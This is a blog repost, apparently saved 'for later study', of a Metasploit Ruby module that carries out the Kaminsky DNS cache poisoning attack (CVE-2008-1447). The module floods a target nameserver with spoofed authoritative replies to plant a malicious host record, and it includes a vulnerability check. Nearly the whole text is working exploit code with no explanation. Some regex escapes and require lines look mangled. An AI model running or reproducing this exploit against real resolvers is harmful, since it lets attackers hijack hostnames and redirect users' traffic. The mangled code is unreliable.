DNS attact, 存档以后研究

 #require 'msf/core'
#require 'net/dns'
#require 'scruby'
#require 'resolv'
require 'Msf::Auxiliary'
module Msf
class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary
include Exploit::Remote::Ip
def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DNS BaliWicked Attack',
   'Description'    => %q{
    This exploit attacks a fairly ubiquitous flaw in DNS implementations which
    Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
    malicious host entry into the target nameserver by sending random sub-domain
    queries to the target DNS server coupled with spoofed replies to those
    queries from the authoritative nameservers for the domain which contain a
    malicious host entry for the hostname to be poisoned in the authority and
    additional records sections.  Eventually, a guessed ID will match and the
    spoofed packet will get accepted, and due to the additional hostname entry
    being within baliwick constraints of the original request the malicious host
    entry will get cached.
   },
   'Author'         => [ 'I)ruid', 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2008-1447' ],
     [ 'US-CERT-VU', '8000113' ],
     [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
    ],
   'Privileged'     => true,
   'Targets'        =>
    [
     ["BIND",  
      {
       'Arch' => ARCH_X86,
       'Platform' => 'linux',
      },
     ],
    ],
   'DisclosureDate' => 'Jul 21 2008'
   ))
  
   register_options(
    [
     OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
     OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
     OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
     OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
     OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
     OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
    ], self.class)
    
end

def auxiliary_commands
  return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end
def cmd_check(*args)
  targ = args[0] || rhost()
  if(not (targ and targ.length > 0))
   print_status("usage: check [dns-server]")
   return
  end
  print_status("Using the Metasploit service to verify exploitability...")
  srv_sock = Rex::Socket.create_udp(
   'PeerHost' => targ,
   'PeerPort' => 53
  )  
  random = false
  ports  = []
  lport  = nil
  
  1.upto(5) do |i|
  
   req = Resolv::DNS::Message.new
   txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
   req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
   req.rd = 1
  
   srv_sock.put(req.encode)
   res, addr = srv_sock.recvfrom()
  
   if res and res.length > 0
    res = Resolv::DNS::Message.decode(res)
    res.each_answer do |name, ttl, data|
     if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
      t_addr, t_port = $1.split(':')
      print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
      t_port = t_port.to_i
      if(lport and lport != t_port)
       random = true
      end
      lport  = t_port
      ports << t_port
     end
    end
   end
  end
  
  srv_sock.close
  
  if(ports.length < 5)
   print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
   return
  end
  
  if(random)
   print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
   print_status("      This server may still be exploitable, but not by this tool.")
  else
   print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
  end
end
  
def run
  target   = rhost()
  source   = Rex::Socket.source_address(target)
  sport    = datastore['SRCPORT']
  hostname = datastore['HOSTNAME'] + '.'
  address  = datastore['NEWADDR']
  recons   = datastore['RECONS']
  xids     = datastore['XIDS'].to_i
  ttl      = datastore['TTL'].to_i
  domain = hostname.match(/[^/x2e]+/x2e[^/x2e]+/x2e$/)[0]
  srv_sock = Rex::Socket.create_udp(
   'PeerHost' => target,
   'PeerPort' => 53
  )
  # Get the source port via the metasploit service if it's not set
  if sport.to_i == 0
   req = Resolv::DNS::Message.new
   txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
   req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
   req.rd = 1
  
   srv_sock.put(req.encode)
   res, addr = srv_sock.recvfrom()
  
   if res and res.length > 0
    res = Resolv::DNS::Message.decode(res)
    res.each_answer do |name, ttl, data|
     if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
      t_addr, t_port = $1.split(':')
      sport = t_port.to_i
      print_status("Switching to target port #{sport} based on Metasploit service")
      if target != t_addr
       print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
      end
     end
    end
   end
  end
  # Verify its not already cached
  begin
   query = Resolv::DNS::Message.new
   query.add_question(hostname, Resolv::DNS::Resource::IN::A)
   query.rd = 0
   begin
    cached = false
    srv_sock.put(query.encode)
    answer, addr = srv_sock.recvfrom()
    if answer and answer.length > 0
     answer = Resolv::DNS::Message.decode(answer)
     answer.each_answer do |name, ttl, data|
      if((name.to_s + ".") == hostname  and data.address.to_s == address)
       t = Time.now + ttl
       print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
       print_status("         Cache entry expires on #{t.to_s}... sleeping.")
       cached = true
       sleep ttl
      end
     end
    end
   end until not cached
  rescue ::Interrupt
   raise $!
  rescue ::Exception => e
   print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
  end
  res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
  print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
  # Look up the nameservers for the domain
  print_status "Querying recon nameserver for #{domain}'s nameservers..."
  answer0 = res0.send(domain, Net::DNS::NS)
  #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
  barbs = [] # storage for nameservers
  answer0.answer.each do |rr0|
   print_status " Got an #{rr0.type} record: #{rr0.inspect}"
   if rr0.type == 'NS'
    print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
    answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
    #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
    answer1.answer.each do |rr1|
     print_status " Got an #{rr1.type} record: #{rr1.inspect}"
     res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
     print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
     answer2 = res2.send(domain)
     if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
      nsrec = {:name => rr0.nsdname, :addr => rr1.address}
      barbs << nsrec
      print_status "  #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
     end
    end
   end
  end
  if barbs.length == 0
   print_status( "No DNS servers found.")
   srv_sock.close
   disconnect_ip
   return
  end
  # Flood the target with queries and spoofed responses, one will eventually hit
  queries = 0
  responses = 0
  connect_ip if not ip_sock
  print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
  while true
   randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
   # Send spoofed query
   req = Resolv::DNS::Message.new
   req.id = rand(2**16)
   req.add_question(randhost, Resolv::DNS::Resource::IN::A)
   req.rd = 1
   buff = (
    Scruby::IP.new(
     #:src   => barbs[0][:addr].to_s,
     :src   => source,
     :dst   => target,
     :proto => 17
    )/Scruby::UDP.new(
     :sport => (rand((2**16)-1024)+1024).to_i,
     :dport => 53
    )/req.encode
   ).to_net
   ip_sock.sendto(buff, target)
   queries += 1
  
   # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
   req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
   req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
   req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
   req.qr = 1
   req.ra = 1
   p = rand(4)+2*10000
   p.upto(p+xids-1) do |id|
    req.id = id
    barbs.each do |barb|
     buff = (
      Scruby::IP.new(
       #:src   => barbs[:addr].to_s,
       :src   => barb[:addr].to_s,
       :dst   => target,
       :proto => 17
      )/Scruby::UDP.new(
       :sport => 53,
       :dport => sport.to_i
      )/req.encode
     ).to_net
     ip_sock.sendto(buff, target)
     responses += 1
    end
   end
   # status update
   if queries % 1000 == 0
    print_status("Sent #{queries} queries and #{responses} spoofed responses...")
   end
   # every so often, check and see if the target is poisoned...
   if queries % 250 == 0
    begin
     query = Resolv::DNS::Message.new
     query.add_question(hostname, Resolv::DNS::Resource::IN::A)
     query.rd = 0

     srv_sock.put(query.encode)
     answer, addr = srv_sock.recvfrom()
     if answer and answer.length > 0
      answer = Resolv::DNS::Message.decode(answer)
      answer.each_answer do |name, ttl, data|
       if((name.to_s + ".") == hostname and data.address.to_s == address)
        print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
        disconnect_ip
        return
       end
      end
     end
    rescue ::Interrupt
     raise $!
    rescue ::Exception => e
     print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
    end
   end
  end
end
end
end

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值